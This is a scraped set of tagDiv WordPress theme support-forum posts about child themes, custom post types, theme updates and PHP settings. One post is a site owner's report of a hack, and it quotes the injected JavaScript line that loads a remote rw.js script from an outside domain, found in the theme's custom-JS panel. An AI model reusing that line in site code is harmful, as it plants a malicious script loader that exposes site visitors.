- NewsmagChild theme support
- NewspaperChild Theme Support
- NewspaperIntroduction to CPT and ACF with Newspaper Theme
- NewsmagWhat’s included in Newsmag theme package
- NewspaperHow to Update the Newspaper Theme
- NewspaperWhat’s Included in the Newspaper Theme Package
- ApiThe Theme API
- NewspaperFlex Block Settings Guide
- NewspaperPrimary Category: Build a hierarchy for your website
- NewsmagCustom Post Type Support
- NewsmagInstall via WordPress
- NewsmagInstall via FTP
- NewsmagBreadcrumbs
- NewspaperBreadcrumbs
- NewspaperHow to Install Newspaper via FTP
- NewspaperHow to Install Newspaper via WordPress
Hello Support Team,
is it true I need to use a child theme to use custom post types and custom taxonomies?
https://forum.tagdiv.com/custom-post-type-support/
How to create a custom single template for your post type:
Step 1 – Pick one of your favorite single templates (check the next image)
Step 2 – Copy it in the root of your child theme folder
Step 3 – Rename it to single-your_post_type.php (replace your_post_type with the wordpress id of your post type. In our sample plugin the id is td_book so the file should be called single-td_book.php)
How to create a custom taxonomy list:
Copy the taxonomy.php file from the root of the theme to the root of the child theme and rename it to taxonomy-YourTaxonomy.php
2. Is it true that tagdiv newspaper 8 is not working with the wp-types toolset plugin, which is a plugin to define custom taxonomies?
https://wp-types.com/forums/topic/side-bar-not-working-well-when-enable-it-to-custom-archive/
https://forum.tagdiv.com/search/toolset/
3. Which plugin to bild sites based on custom post types and custom fields do you suggest working with tagdiv newspaper 8 theme?
Thank you for your consideration and feedback, Best, Chris
Hello Catalin,
Thank you for your answer. the problem was we were using a Child Theme, and the update didn’t work. In fact, we have tried to update our theme 2 times and everything is broken.
This is our website:
http://marronyblanco.com/
And we would like to update it from the Newspaper 4 version to the Newspaper 8 version. It has only 4 or 5 static pages, because is based on posts. Do you provide any kind of payment service to do this? We will lost a lot of time and you, as the developers of the theme, will invest less than an hour.
Thank you in advance.
Juan.
Hi,
If you update the theme to the latest version or install it, the tagDiv composer will automatically activate itself
– https://forum.tagdiv.com/tagdiv-composer-tutorial/
Having both editors active could create problems in some cases. After updating please go to your plugins section and deactivate the tagDiv composer plugin.
If you use a child theme please switch to the main theme, as it may require adjustments to the new theme version. Custom code you might use may not work properly anymore.
Thanks
I have found the culprit and it was entirely my fault – I failed to update the child theme code along with the main theme. Sorry for bothering you.
So to anyone reading this with similar problems, make sure that you have updated the child theme code, particularly functions.php.
Yes, I understand. Like I said I went to comment that line out but like I said there is nothing in that file in my editor except what I posted here. I dont have a child theme
Hi,
Changing the theme width is not recommended. All the elements on the page will be affected if the fixed width is modified. This is what would happen if the width is decreased with just 1px for example
– https://www.screencast.com/t/FbD0jW7vWqk
Custom CSS code can be used in the child theme stylesheet. You can try and make experiments if you want to. Or use the theme panel Advanced CSS sections for specific devices.
Thanks
Hi,
The parameters seem to be set properly. The changes must be made either in the htacess file or the php.ini file.
Please try to deactivate all your plugins except theme plugins as a test. Then clear any caching installed. It could be a plugin conflict, this way you can determine if a plugin is to blame.
Check any custom code you might have entered in theme panel sections, or added to the theme files. If you use a child theme, switch to the main theme and see if this has any effect.
Also try deactivating and deleting the tagDiv composer plugin, then install it again from the theme package.
If the problem persists, please send us an email at contact@tagdiv.com and provide admin login information, so we can take a look. Also paste a link to this topic in your email.
Thanks
Hi Amit,
Thank you for the response.
Well, I am not really very good with technical stuff and hence didn’t understand what you mean by creating a plugin for function.php but I have successfully created a child theme with proper implementation of styles.css and function.php but still, couldn’t find any way to keep mobile style.css and function.php update proof.
May be someday, you will create a detailed blog post on this and then I will be able to actually implement it on my site. 🙂
Thank you.
Hello bformhals,
If you will check our above replies, you will see that the right PHP files which have to be edited are comments.php. Here is not talking about child theme, sorry! All the changes should have to be done through this file. So, if you want to get rid of these fields, like email and website URL you should remove/comment these code lines from here -> https://www.screencast.com/t/zlojb30xi
Thanks for your understanding!
Hello
To every one searching for a way to add share buttons on pages here is how i did it with out plugin :
1 go to function.php in your theme root( better use child theme so you dont lose modifications when updating) :
2- add the following code :
/* ----------------------------------------------------------------------------*/
// Share buttons on pages' bottom
// PS: no-follow tag was added to external links
function tagdiv_social_buttons($content) {
global $post;
$permalink = get_permalink($post->ID);
$title = get_the_title();
//don't show buttons on frontpage and other pages id
if( !is_front_page() && !is_page(array( 1, 2,3,4,5,6 )) && $post->post_type=='page' ) {
$content = $content . '<div class="td-post-sharing td-post-sharing-top tagdiv-share">
<a class="td-social-sharing-buttons td-social-facebook" rel="nofollow"
href="https://www.facebook.com/sharer.php?u=' . urlencode( esc_url( get_permalink() ) ) . '"
onclick="window.open(this.href, \'mywin\',\'left=50,top=50,width=600,height=350,toolbar=0\'); return false;">
<i class="td-icon-facebook"></i><div class="td-social-but-text">share on facebook</div>
<a class="td-social-sharing-buttons td-social-twitter" rel="nofollow" href="http://twitter.com/share?text='.$title.'&url='.$permalink.'"
onclick="window.open(this.href, \'twitter-share\', \'width=550,height=235\');return false;">
<i class="td-icon-twitter"></i><div class="td-social-but-text">share on twitter</div>
<a class="td-social-sharing-buttons td-social-google tagdiv-google" rel="nofollow" href="https://plus.google.com/share?url=' . esc_url( get_permalink() ) . '"
onclick="window.open(this.href, \'mywin\',\'left=50,top=50,width=600,height=350,toolbar=0\'); return false;">
<i class="td-icon-googleplus"></i><div class="td-social-but-text tagdiv-google-border">share on google</div>
</div>';
}
return $content;
}
add_filter('the_content', 'tagdiv_social_buttons');
// use short code [tagdivsocial] to show buttons where ever you need
add_shortcode('tagdivsocial', 'tagdiv_social_buttons');
`
3 then add the following css to theme panel of your style.css file:
<code>
.tagdiv-share {
margin: 21px auto;
text-align: center;
font-family: 'Droid Arabic Kufi', arial, sans-serif !important;
}
.tagdiv-google{
width: 160px !important;
}
.tagdiv-google-border{
border-right: 1px solid rgba(255, 255, 255, 0.2);
}
</code>
and every thing is working fine
hope this help any one looking.
-
This reply was modified 8 years by
biznizat. Reason: FIXING
Hello,
After updating, we are receiving this terrible message:
Warning: include(): Unable to access /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper/includes/td_wordpres_booster.php in /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper-child/functions.php on line 9 Warning: include(/usr/home/marronyblanco.com/web/wp-content/themes/Newspaper/includes/td_wordpres_booster.php): failed to open stream: No such file or directory in /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper-child/functions.php on line 9 Warning: include(): Unable to access /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper/includes/td_wordpres_booster.php in /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper-child/functions.php on line 9 Warning: include(/usr/home/marronyblanco.com/web/wp-content/themes/Newspaper/includes/td_wordpres_booster.php): failed to open stream: No such file or directory in /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper-child/functions.php on line 9 Warning: include(): Failed opening ‘/usr/home/marronyblanco.com/web/wp-content/themes/Newspaper/includes/td_wordpres_booster.php’ for inclusion (include_path=’.:/usr/home/sys/phpfarm/inst/php-5.3.29/pear/php/’) in /usr/home/marronyblanco.com/web/wp-content/themes/Newspaper-child/functions.php on line 9
And of course, our website has broken down and we have lost all the old design.
How can we solve it?
Hello,
All other parameters are correct. I do not understand that in the file php.ini I have this:
; Maximum allowed size for uploaded files.
upload_max_filesize = 64M
max_input_vars = 5000
but the system status keeps on showing me 1000 instead of 5000
For all other parameters I have the correct numbers after changing.
As a matter of fact, I already talked many times with the hosting provider and they made all sorts of checks, even with deactivate all plugins, like I did now but still do not save. The php version I am using is 7.0. I did not add any custom code or at least I do not remember (can you make an example to me of a custom code I might have written?).
You ask me to switch to the main theme from a child. I am currently using lifestyle theme. Is that a child theme? And in case I do it, will I lose all my job? Or is there anything to switch safely? Sorry for my doubt. I am just a passionate beginner and so I am not so professional.
Is there a way you could check it fast for me and find the solution. The theme panel just stop saving after I change something in the home page… I took out a grid that also had a witing “You should put some html…” or something like that.
Regards,
Nerissa
Thanks. If I edit the css on my child theme to decrease the theme width, then is changing td-container enough or more is necessary? Will this not impact size in mobile screens?
I just showed you I dont have any of the that to comment out or remove? I dont have a child theme yet so why do I not see anything on the php file.
In further releases this should be corrected to be able to get rid of that in the theme panel. It makes people not register which drives down subscription members and hurts site revenue. It just should not be there as a default.
So, how can I get rid of this.
Hi,
You could ask for help or advice from the hosting provider for the modification of those WordPress and server parameters. This might be the cause for the issue. After making the changes, check if the theme panel is saving properly.
The theme is compatible with PHP version up to 7.1, higher versions could cause issues.
Also you could try to deactivate all the plugins except theme plugins, and test again to rule plugins.
If you use custom code in the theme panel, remove it for testing. Switch to the main theme if you use a child theme.
Please let us know the results.
Thanks
Hello issajar,
Please keep in mind that what you want to do is a BIG update and the theme will be broken because it is totally another theme, sorry!
In order to achieve the best results after you will install the latest update you have to follow some rigorous steps like this -> you have to delete both of your themes, child theme, and main theme. All your customizations from your Newspaper 4 theme will do not work because all the files from this were changed in Newspaper 8.1 and as the main theme and also you lose all changes.
The Newspaper 8.1 is a whole new theme so an update from 4 to 8.1 may cause the same issues as switching to another theme (but we did try to maintain compatibility where ever possible).
Always make a full backup of your current installation – https://codex.wordpress.org/WordPress_Backups and then do a clean update, meaning that we recommend that you delete the old version of the theme before uploading the new one – https://forum.tagdiv.com/how-to-update-the-theme-2/ update also the plugins that come bundled with the theme files from the /plugins folder. In the “how to update” guide is specified that you will have to run the script that will import from database your settings.
The shortcodes have been changed so old ones will not work anymore. Please note that old files customization or custom CSS will not work with the new version and you will have to adjust or re-add them. Bottom line is that newspaper 8.1 is a whole new theme built from scratch.
Unfortunately, you will have to clear your agenda and spare a bit of time to adjust all your settings to the new version of the theme.
Hope this helps and let us know how it goes!
Thank you for the message!
I checked there and went to that php file. All that is in the php file when I go to the editor is this:
<?php
// – Important!
// – For overwriting comments’ functionality in child-theme, copy the file ‘comments.php’ from the
// following theme path (../themes/THEME_NAME/includes/wp_booster/comments.php) to the child-theme root path,
// and NOT this comments.php file you are reading from.
require_once(‘includes/wp_booster/comments.php’);
Why if we turn off this requirement in wordpress can we not just turn it off in the theme. I know of nobody as a visitor to a newsite is going to add a website url? thats just a crazy thing to even have there.
Look at all the major news site? Fox, ABC CBS CNN ESPN none of them have such a line for a user to input
Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:
YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js”; document.head.appendChild (p);
At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.
-
This reply was modified 8 years by
pablograna.
Hi, I’m trying to change the header of my page, instead of leaving the logo, I want to see an image that I want and I could tell you where I can change the default image in the child theme that I installed on the home page thanks
Thank you very much for the recommendations.
Usually I use a child theme to make my own modifications and not lose them when updating the main template, when changing to the main template the images were displayed again.
Many thanks to the entire Newsmag team for the quality that has always characterized them.
P.S. If you share a little of your good fortune with me I will be thanking you even more. 🙂
Hello burgos,
I have checked your website and it seems your images are stuck in opacity 0. This usually happens on a js error caused by plugins or customization or other external optimization tools.
Please disable all plugins except visual composer, clear cache and reset CDN files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functioning of the theme.
Thank you!
Hi,
In Newspaper 8 the tagDiv composer was introduced
– https://forum.tagdiv.com/tagdiv-composer-tutorial/
This plugin is activated automatically when the theme is installed or updated to this version. In some cases having both Visual composer and tagDiv composer active, can create layout issues. Please try to deactivate this composer after making the update
– https://forum.tagdiv.com/how-to-update-the-theme-2/
Also if you have a child theme try switching to the main theme, as the code used in the child theme might need adjustments.
Thanks
Hi,
You could use a child theme, if the files you are modifying are supported to be customized through it
– https://forum.tagdiv.com/the-child-theme-support-tutorial/
If the files are not supported, then you will probably have to make them again, after a theme update.
Thanks
Hi,
1. The theme only has to be activated once, another activation is not requested
– https://forum.tagdiv.com/newspaper-6-how-to-activate-the-theme/
If the theme activation is resetting then something is not functioning properly. It could be a simple plugin conflict, it could be your server configuration, it could be your WordPress install etc.
2. Please check the permalink settings in the wordpress settings
– https://codex.wordpress.org/Using_Permalinks
– http://www.wpbeginner.com/wp-tutorials/seo-friendly-url-structure-for-wordpress/
Try changing to a default permalink structure and save the settings. Then check if this has any effect.
3. The custom CSS code will be loaded after the theme CSS. You can add code directly in the theme stylesheet, or through a child theme as well.
Thanks
Hello,
You should send us an email at contact@tagdiv.com with your log-in information (wp-admin) so I can check your child theme and the behaviour of this with the theme.
Thanks for the message!